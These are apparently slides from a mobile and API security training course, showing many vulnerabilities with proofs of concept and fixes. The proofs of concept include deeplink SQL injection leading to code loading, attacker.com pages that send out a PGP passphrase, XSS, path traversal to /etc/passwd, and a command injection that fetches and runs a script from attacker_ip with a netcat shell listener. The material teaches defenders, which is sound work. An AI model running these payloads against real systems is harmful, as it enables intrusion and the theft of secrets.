<img src="https://7asecurity.com/logo/small-logo.svg" />
Attack: Go to SD Card + Steal DBs (cont.)
Fix: Go to SD Card + Steal DBs
→ Do not accept file:// URLs if possible
→ webSettings().setAllowFileAccess(false);
Contents:
else if ([[[[self request] URL] absoluteString]
rangeOfString:@"forcequit"].location != NSNotFound) {
/ onionbrowser:forcequit /
UIAlertView *alert = [[UIAlertView alloc]
initWithTitle:@"Force-quitting"
message:@"Onion Browser will now close. Restarting the app will
try a fresh Tor connection."
delegate:self
cancelButtonTitle:@"Quit app" otherButtonTitles:nil];
[alert show];
Attacker Page → close browser :)
PoC:
<img src="onionbrowser:forcequit" />
Contents:
else if ([[[[self request] URL] absoluteString]
rangeOfString:@"forcequit"].location != NSNotFound) {
/ onionbrowser:forcequit /
UIAlertView *alert = [[UIAlertView alloc]
initWithTitle:@"Force-quitting"
message:@"Onion Browser will now close. Restarting the app will
try a fresh Tor connection."
delegate:self
cancelButtonTitle:@"Quit app" otherButtonTitles:nil];
[alert show];
Fix: Any page can forcequit the browser
→ At a minimum, prompt the user before quitting.
→ If possible, eliminate forcequit functionality
→ Implement a separate screen flow for help area, which websites cannot invoke.
→ In general, consider Universal links as custom URLs can be hijacked and are
insecure.
Deeplink → SQLi → RCE!!?
Scenario: CRM app with Google auth
→ Popup if user not logged in
→ User is prompted to login to Google
→ Popup closes and sends data to app after auth
Question: What is the vulnerability?
AndroidManifest.xml:
<activity [...] android:name="LoginWebView">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="vulnapp"/>
</intent-filter>
</activity>
Step 2: Pwn
adb shell am start -a "android.intent.action.VIEW" -n
"some.vuln.app/some.vuln.app.LoginWebView" -d
"vulnapp://?data=\'%20where%201%3D\(select%20load_extension\(\'%2Fdata%2Fdata%2Fjust.trust.m
e%2Ftest\'\)\)%3B%2F%2F"
Attack: SQLi + RCE via exported activity
Step 3: Verify
E/AndroidRuntime( 5361): Caused by:
net.sqlcipher.database.SQLiteException: dlopen failed:
"/data/data/just.trust.me/test.so" has bad ELF magic: UPDATE creds SET
auth_key = '' where 1=(select load_extension('/data/data/just.trust.me/test'));//'
Source: https://www.memecreator.org/static/images/memes/4936640.jpg
Attack: SQLi + RCE via browsable activity
Attack Variant 2: Malicious website attack (works on Android < 6)
File 1:
http://attacker.com/a.php
Contents:
<?php
header("Content-Type: application/octet-stream");
header('Content-Disposition: attachment; filename="test.so"');
echo str_repeat('A', 40);
Attack: SQLi + RCE via browsable activity
File 2:
http://attacker.com/d.php
Contents:
<?php
$payload = "' where 1=(select load_extension('/sdcard/Download/test'));//";
?>
<iframe src="a.php"></iframe><!-- download test.so into Downloads folder -->
<iframe id="trigger"></iframe>
<script>
setTimeout(function() {
document.getElementById('trigger').src =
"vulnapp://?data=<?=$payload?>";
}, 5000); <!-- wait 5 seconds = download finished before triggering RCE -->
</script>
Attack: SQLi + RCE via browsable activity
Verify:
E/AndroidRuntime( 5101): Caused by:
net.sqlcipher.database.SQLiteException: dlopen failed: library
"/sdcard/Download/test.so" has bad ELF magic: UPDATE creds SET
auth_key = '' where 1=(select load_extension('/sdcard/Download/test'));//'
URL validation?
Question: What is the vulnerability?
if ([URL.absoluteString rangeOfString:@"https://"].location == 0) {
Boolean ignoreSSLErrors = NO;
if ([URL.host rangeOfString:@".onion"].location != NSNotFound) {
#ifdef DEBUG
NSLog(@"loading https://*.onion/ URL,
ignoring SSL certificate status (%@)", URL.absoluteString);
#endif
ignoreSSLErrors = YES;
Ignore SSL warnings on non-onion domains
if ([URL.absoluteString rangeOfString:@"https://"].location == 0) {
Boolean ignoreSSLErrors = NO;
if ([URL.host rangeOfString:@".onion"].location != NSNotFound) {
#ifdef DEBUG
NSLog(@"loading https://*.onion/ URL,
ignoring SSL certificate status (%@)", URL.absoluteString);
#endif
ignoreSSLErrors = YES;
NOTE: This is a very common logic bug → return true when a substring is found
anywhere = problems. Common culprits: "includes", "contains", "strstr", etc.
https://7asecurity.com/reports/pentest-report_onion-browser.pdf
Fix: Ignore SSL warnings non-onion domains
In short:
Logic bugs are not going away any time soon :)
Scenario: JavaScript disabled by default
Question: What is the vulnerability?
Code:
mWebView.getSettings().setJavaScriptEnabled(prefs.getBoolean(getString(R.string.pref_javascr
ipt), true));
Solution: JavaScript disabling not working
Code: ← The setting defaults to true if not explicitly set in the preferences
mWebView.getSettings().setJavaScriptEnabled(prefs.getBoolean(getString(R.string.pref_javascrip
t), true));
PoC
<svg/onload=alert('document.cookie='+document.cookie+'\ndocument.referrer
='+document.referrer+'\nwindow.name='+window.name+'\nnavigator.appCodeNam
e='+navigator.appCodeName+'\nnavigator.appName='+navigator.appName+'\nnav
igator.appVersion='+navigator.appVersion+'\nnavigator.platform='+navigato
r.platform+'\nnavigator.userAgent='+navigator.userAgent+'\nnavigator.java
Enabled()='+navigator.javaEnabled()+'\nscreen.width='+screen.width+'\nscr
een.height='+screen.height+'')>
Attack: JavaScript disabling not working PoC
Fix: JavaScript disabling not working
Problem:
mWebView.getSettings().setJavaScriptEnabled(prefs.getBoolean(getString(R.string.pref_javascr
ipt), true));
Solution:
Option 1: Ensure preferences are set in the preference file
Option 2: default to the most secure setting instead, i.e. false
Episode: MitM attacks
Source: https://dpsvdv74uwwos.cloudfront.net/
Scenario: Secure Messenger app
Source: https://techcrunch.com/
Attack: Clear-text XMPP MitM
Step 1: Attacker manipulates clear-text XMPP response
NOTE: Only available authentication mechanism = clear-text (PLAIN)
Server: Give me your creds please?
<stream:features><starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/><mechanismsxmlns='urn:
ietf:params:xml:ns:xmpp-sasl'><mechanism>PLAIN</mechanism></mechanisms></stream:features>
Command:
sbd -r 0 -c off -nvlp 80 -e yes
Attack: DoS via memory consumption
Point device to attacker-controlled machine (i.e. DNS spoofing, MitM)
Command:
sbd -r 0 -c off -nvlp 80 -e yes
Errors:
malloc: *** mach_vm_map(size=2080374784) failed (error code=3)
*** error: can't allocate region
*** set a breakpoint in malloc_error_break to debug TEALIUM 3.2c: Exception
encountered: Attempt to allocate 2080374784 bytes for NS/CFData failed
*** Terminating app due to
uncaught exception 'NSMallocException', reason: 'Attempt to allocate 2080374784
bytes for NS/CFData failed'
Attack: DoS via memory consumption
Fix: DoS via memory consumption
→ Consider using another library
→ Implement adequate exception handling:
→ General exception handler for unexpected errors
→ Handle exceptions gracefully
Episode: Sexy copy-paste attacks
Scenario: Crypto vault Android app
Question: What attack is this?
<html>
<body>
<div style="-webkit-user-select: none;"><h1>Just select aaaall this text and
copy paste it!</h1></div>
<div style="-webkit-user-select: text; z-index:10; opacity: 0; position:
absolute; top: 20px;"><font
size=4>../../../data/data/org.sufficientlysecure.keychain/databases/openkeychain.db </font></
div>
</body>
</html>
Solution: File overwrite via path traversal
→ User sees unselectable text
→ When the user copies the text, they are copying something else
<html>
<body>
<div style="-webkit-user-select: none;"><h1>Just select aaaall this text and
copy paste it!</h1></div>
<div style="-webkit-user-select: text; z-index:10; opacity: 0; position:
absolute; top: 20px;"><font
size=4>../../../data/data/org.sufficientlysecure.keychain/databases/openkeychain.db </font></d
iv>
</body>
</html>
Attack: File overwrite via path traversal (cont)
User sees “text A” but pastes “text B”, ideal for fake tutorials! :)
Attack: File overwrite via path traversal (cont)
https://7asecurity.com/reports/pentest-report_openkeychain.pdf
Fix: File overwrite via path traversal
→ Make sure users have an option to see the entire pasted text and not just the
beginning or the end
→ If you just expect a file from the user, get the basename (filename) of the path and
ignore the rest.
PoC
String URL = "content://some.vulnerable.app/bestarticles/*";
Uri bestarticles = Uri.parse(URL);
ContentValues values = new ContentValues();
values.put("title", "President disappears after entering police box ...");
values.put("content", "President disappears after ...");
values.put("category_id", "-90");
values.put("article_id", "2490555");
values.put("authors", "attacker.com");
getContentResolver().insert(bestarticles, values);
Fix: Adding fake news via Content Provider
→ Do not export Content Providers unless needed
→ If must export, protect Content Provider with a permission that requires a signature
(i.e. only apps signed by the same developer can call the provider)
Attacking Updaters
Question: What's the problem with this?
Request:
http://some.site.com/messenger/x.x/update.json
Response:
HTTP/1.1 404 Not Found
Update URL → Premium number call
Request:
http://some.site.com/messenger/x.x/update.json
Response:
HTTP/1.1 200 OK
[...]
{"version":"2.0","forced":1,"url":"tel:1-408-555-5555"}
Attack: Premium number call
Fix: Premium number call
→ Check updates over TLS
→ Consider Pinning
→ Check the update URL is a URL and not a phone number
→ Verify the update URL matches some trusted domain(s)
→ Sign and verify the signature of update checks
→ Sign and verify the signature of updates
Scenario: Third party ZIP file retrieval (iOS)
Question: What is the vulnerability?
File:
Info.plist
Affected Code:
<key>NSAppTransportSecurity</key>
<dict>
<key>NSExceptionDomains</key>
<dict>
<key>some.s3.amazonaws.com</key>
<dict>
<key>NSTemporaryExceptionAllowsInsecureHTTPLoads</key>
<true/>
</dict>
Defeating iOS ATS: Allow clear-text HTTP
Affected File:
Info.plist
Affected Code:
<key>NSAppTransportSecurity</key>
<dict>
<key>NSExceptionDomains</key>
<dict>
<key>some.s3.amazonaws.com</key>
<dict>
<key>NSTemporaryExceptionAllowsInsecureHTTPLoads</key>
<true/>
</dict>
Attack: Arbitrary file overwrite
App retrieves:
http://some.s3.amazonaws.com/some/path/upload/12345/some.zip
Output:
Broadcasting: Intent { act=some.app.DECISION/some.app.im (has extras) }
Broadcast completed: result=0
Fix: Permanent MitM prompt bypass
→ Use a local broadcast receiver using LocalBroadcastManager instead of
BroadcastReceiver
https://developer.android.com/reference/android/support/v4/content/LocalBroadcastManager.html
→ If you must use the broadcast receiver, consider making the decision ID an
unpredictable random token instead of a sequential ID.
Scenario: MitM of XMPP
Source: https://news-cdn.softpedia.com/
Attack: MitM of XMPP SSL without warnings
Step 1: DNS Spoof
dnschef -i 0.0.0.0 --fakeip=192.168.0.127
→ You need to add a VirtualHost entry for each domain you wish Prosody to serve.
→ Settings under each VirtualHost entry apply only to that host.
→ Result: it worked with the default self-signed certificate :P
Scenario: Clear-text HTTP communications (Android)
Source: https://mondrian.mashable.com/
Question: What is the vulnerability?
1. The app gets XML from the server:
http://some.site.com/some/path/file.xml
Attacker hosts XML file to receive human right violation reports forever:
/mnt/sdcard/path/.cache/xxxx/../../../../../data/data/some.vulnerable.app/shared_prefs/app_prefere
nces.xml has been deleted.
[...]
I/SomeTask( 450): Started downloading to
mnt/sdcard/path/.cache/app_preferences.xml
[...]
copied over
/mnt/sdcard/path/.cache/xxxx/../../../../../data/data/some.vulnerable.app/shared_prefs/app_prefere
nces.xml
Fix: Permanent MitM via Arbitrary File Write
→ Validate filename against a whitelist of characters, i.e. allow only: |^[a-zA-Z0-9\.]+$|
Result:
User A can create and overwrite any file in the app storage.
Scenario: PGP Email iOS app
Source: https://apps.apple.com/
Question: What is the vulnerability?
Background:
iOS app implements PGP email functionality in JavaScript.
User input = received message.
PoC Email:
';var xmlHttp = new
XMLHttpRequest();xmlHttp.open('GET','https://attacker.com/'+encodeURIComponent(passphrase)
,false); xmlHttp.send(null); a='
Resulting JavaScript:
var Private_Key = '-----BEGIN PGP PRIVATE KEY BLOCK----- ...'
var passphrase = 'MY_SECRET_PASSPHRASE';
var Message = '';var xmlHttp = new
XMLHttpRequest();xmlHttp.open('GET','https://attacker.com/'+passphrase
,false); xmlHttp.send(null); a='';
Attack: Remotely Steal Private Key & Passphrase
Code (decompiled):
public static String encrypt_decrypt(String var0) {
var1_1 = new byte[39]; var1_1[0] = 109; var1_1[2] = 111; [...] var1_1[38] = 107;
var2_2 = new byte[var0.getBytes().length];
try {
[...] var2_2[var6_4] = (byte)(var2_2[var6_4] ^ var1_1[var5_3]); [...]
} while (true);[...]
}
Harcoded XOR key! :)
encrypt_decrypt: IN: 05555215554 => OUT: ]5Z\WSVAB5]
encrypt_decrypt: IN: ]5Z\WSVAB5] => OUT: 05555215554
Code (decompiled):
public static String encrypt_decrypt(String var0) {
var1_1 = new byte[39]; var1_1[0] = 109; var1_1[2] = 111; [...] var1_1[38] = 107;
var2_2 = new byte[var0.getBytes().length];
try {
[...] var2_2[var6_4] = (byte)(var2_2[var6_4] ^ var1_1[var5_3]); [...]
} while (true);[...]
}
Attack: Harcoded XOR PoC script
XORdecrypt("]5Z\WSVAB5]") == '05555215554'
def XORdecrypt(s):
abyte2 = [109, 0, 111, 105, 98, 97, 103, 116, 119, 0, 105, 103, 115,
121, 115, 116, 101, 0, 109, 115, 102, 105, 103, 104, 116, 0, 105,
110, 103, 104, 104, 104, 107, 0, 107, 107, 107, 111, 107]
abyte0 = [0 for c in s]
abyte1 = [ord(c) for c in s]
j = 0;
k = 0;
while True:
abyte0 = [i for i in abyte1]
l = len(s)
if k>=l:
[...]
Attack: Harcoded XOR PoC script
[...]
abyte0 = [i for i in abyte1]
return "".join([chr(c) for c in abyte0])
else:
abyte1[k] = abyte1[k]^abyte2[j]
j+=1
abyte0 = [i for i in abyte1]
l = len(s)
if j>=l:
j=0
k+=1
Attack: Harcoded XOR PoC script
Question: What is the vulnerability?
public final class a {
public static byte[] a = new byte[16];
public static String a(Context paramContext, String paramString)
{
String str = new String(Base64.decode(String.valueOf(paramContext.getText(2131034156)), 0));
byte[] arrayOfByte = paramString.getBytes("UTF-8");
IvParameterSpec localIvParameterSpec = new IvParameterSpec(a);
SecretKeySpec localSecretKeySpec = new SecretKeySpec(str.getBytes("UTF-8"), "AES");
Cipher localCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
localCipher.init(1, localSecretKeySpec, localIvParameterSpec);
return Base64.encodeToString(localCipher.doFinal(arrayOfByte), 0);
}
}
Hardcoded AES key!
public final class a {
public static byte[] a = new byte[16];
public static String a(Context paramContext, String paramString)
{
String str = new String(Base64.decode(String.valueOf(paramContext.getText(2131034156)), 0));
byte[] arrayOfByte = paramString.getBytes("UTF-8");
IvParameterSpec localIvParameterSpec = new IvParameterSpec(a);
SecretKeySpec localSecretKeySpec = new SecretKeySpec(str.getBytes("UTF-8"), "AES");
Cipher localCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
localCipher.init(1, localSecretKeySpec, localIvParameterSpec);
return Base64.encodeToString(localCipher.doFinal(arrayOfByte), 0);
}
}
Attack: Hardcoded AES key!
Attack: Catastrophe Summary
Fix: Smart Sheriff broken SSL & Crypto
→ Validate SSL certificate properly
→ Consider Pinning
→ Avoid hardcoding encryption keys in apps
→ Request a key over a secure connection to the server, using a server public key
OR
→ Generate a key on the client and send it securely to the server encrypting it with the
server public key
→ Save the encryption key for the user safely leveraging the Android keystore.
Episode: API attacks
Source: https://www.imperva.com/
Scenario: Retrieving files from the server
Question: What is the vulnerability?
Normal URL:
https://api.server.com/export/:file?name=file.pdf
Server Code:
$api->get('/export/:file', function($name) {
if(!empty($_GET['name'])) {
$file = $GLOBALS['export_root'] . str_replace('../','', $_GET['name']);
if(file_exists($file)) {
header('Content-disposition:attachment; filename=' . $name);
header('Content-type: application/octet-stream');
readfile($file);
echo $file;
}
}
});
Path Traversal & Filter Bypass
Normal URL:
https://api.server.com/export/:file?name=file.pdf
Server Code:
$api->get('/export/:file', function($name) {
if(!empty($_GET['name'])) {
$file = $GLOBALS['export_root'] . str_replace('../','', $_GET['name']);
if(file_exists($file)) {
header('Content-disposition:attachment; filename=' . $name);
header('Content-type: application/octet-stream');
readfile($file);
echo $file;
}
}
});
Attack: Path Traversal & Filter Bypass
PoC
https://api.server.com/export/:file?name=....//....//....//....//....//....//....//....//..../
/....//....//....//etc/passwd
Code:
str_replace('../','', $_GET['name'])
IN:
....//
OUT:
../
Fix: Path Traversal & Filter Bypass
→ Use a platform function that returns the filename for a path:
https://www.php.net/basename
→ Use a platform function to verify the final URL starts with the expected directory:
https://www.php.net/realpath
PoC
curl https://some.server.com --data
"pgpFingerprint=123456%E2%80%8B%E2%80%8B%20%E2%80%8B%E2%80%8B%7C%E2%80%8B%E2%80%8B%20%E2%80%8B%
E2%80%8Bwget%E2%80%8B%E2%80%8B%20%E2%80%8B%E2%80%8Bhttps%3A%2F%2Ffanyv88.com%3A443%2Fhttps%2F7asecurity.com%2F%3F%24(whoami
)%E2%80%8B%E2%80%8B%20%E2%80%8B%E2%80%8B%7C%20123%E2%80%8B%E2%80%8B&alias=abcdefg&data=N2FzZWM=
"
Attack: RCE in user file upload (pwn)
Setup a shell listener:
nc -nlvp 4444
Pwn:
curl -k https://some.site.com/ --data
'pgpFingerprint=123456 | wget http://attacker_ip/a.txt; bash a.txt |
123&alias=abcdefg&data=Y3VyZTUz'
Enjoy:
connect to [192.168.0.127] from (UNKNOWN) [x.x.x.x] 60681
whoami
root
Fix: RCE in user file upload
→ If possible, avoid string concatenations:
Also avoid calling subprocess.Popen with shell=True
NOTE: python will auto-escape arguments then, you need to pass a list, not a
string:
→ If you must concatenate strings, PHP and other platforms offer shell escaping
functions:
https://www.php.net/escapeshellarg
→ Validate user input with a whitelist regex that is as restrictive as possible, i.e.
[a-Z0-9\.]
NOTE: Make sure the whitelist doesn't allow especial shell characters like |;&"`'
Scenario: API Leaks
Government-mandated app to help parents protect their children:
→ Control phone usage
→ Control installed apps
→ Block websites
→ etc.
→ Registers itself as an "accessibility app" to gain access to SMS and Kakao talk
messages
DEMO
Fix: Implement Access Control
→ Limit access to data based on user permissions
→ Centralize security controls as much as you can
→ Limit database queries based on who the user is, do this in a centralized way
(i.e. around Active Record implementation)
→ Automatically add database query clauses that filter database queries based on
who the user is
Q&A
Free 4h Workshop Access (vuln apps, slides, recording):
https://7asecurity.com/free
Any questions? :)
> [email protected]
> @7asecurity
> @7a_
> @owtfp [ OWASP OWTF - owtf.org ]
+ 7asecurity.com